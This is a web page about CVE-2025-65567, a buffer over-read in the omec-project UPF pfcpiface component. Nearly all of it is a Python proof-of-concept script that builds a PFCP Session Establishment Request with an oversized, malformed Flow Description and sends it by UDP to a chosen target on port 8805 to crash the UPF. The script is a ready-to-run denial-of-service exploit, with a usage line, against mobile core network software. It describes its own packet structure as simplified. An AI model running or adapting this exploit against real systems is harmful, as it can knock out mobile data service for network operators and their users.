CVE-2025-65567: omec-project UPF pfcpiface组件缓冲区溢出导致拒绝服务

import socket import struct # PFCP Header Structure # Version(3bit) | MP(1bit) | S(1bit) | PN(3bit) | Message Type(8bit) | Length(24bit) def build_pfcp_header(msg_type, length, sequence=1): # Version=1, MP=0, S=1, PN=1 flags = (1 << 5) | (1 << 3) | 0x01 header = bytes([flags, msg_type]) header += struct.pack('!I', length)[1:] # 3 bytes for length header += struct.pack('!I', sequence)[1:] # 3 bytes for sequence return header def build_create_pdr_with_malformed_flow_desc(): # IE Type for CreatePDR create_pdr_ie_type = 0x01 # Malformed Flow Description - exceeds buffer bounds # This will cause parseFlowDesc to read beyond allocated buffer malformed_flow_desc = b'\x00' * 256 + b'invalid data' # Flow Description IE: Type=14, Length, Flow Description content flow_desc_ie = struct.pack('!B', 14) # IE Type flow_desc_ie += struct.pack('!I', len(malformed_flow_desc))[1:] flow_desc_ie += malformed_flow_desc # CreatePDR IE with malformed content create_pdr = flow_desc_ie # Simplified - actual implementation needs proper IEs # IE header ie_data = struct.pack('!B', create_pdr_ie_type) ie_data += struct.pack('!I', len(create_pdr))[1:] ie_data += create_pdr return ie_data def build_pfcp_session_establishment_request(): # Message Type for Session Establishment = 0x11 msg_type = 0x11 # Build CreatePDR with malformed Flow Description create_pdr = build_create_pdr_with_malformed_flow_desc() # Calculate total length (IE headers + content) total_length = len(create_pdr) # Build PFCP Header header = build_pfcp_header(msg_type, total_length) # Combine header and IE return header + create_pdr def exploit_cve_2025_65567(target_ip, target_port=8805): """ PoC for CVE-2025-65567 Sends a crafted PFCP Session Establishment Request with malformed Flow-Description to trigger buffer over-read in parseFlowDesc function, causing DoS. """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = build_pfcp_session_establishment_request() print(f"[*] Sending malicious PFCP request to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") sock.sendto(payload, (target_ip, target_port)) print("[+] Malicious request sent") print("[*] Target UPF should crash/panic due to buffer over-read") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_65567_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8805 exploit_cve_2025_65567(target, port)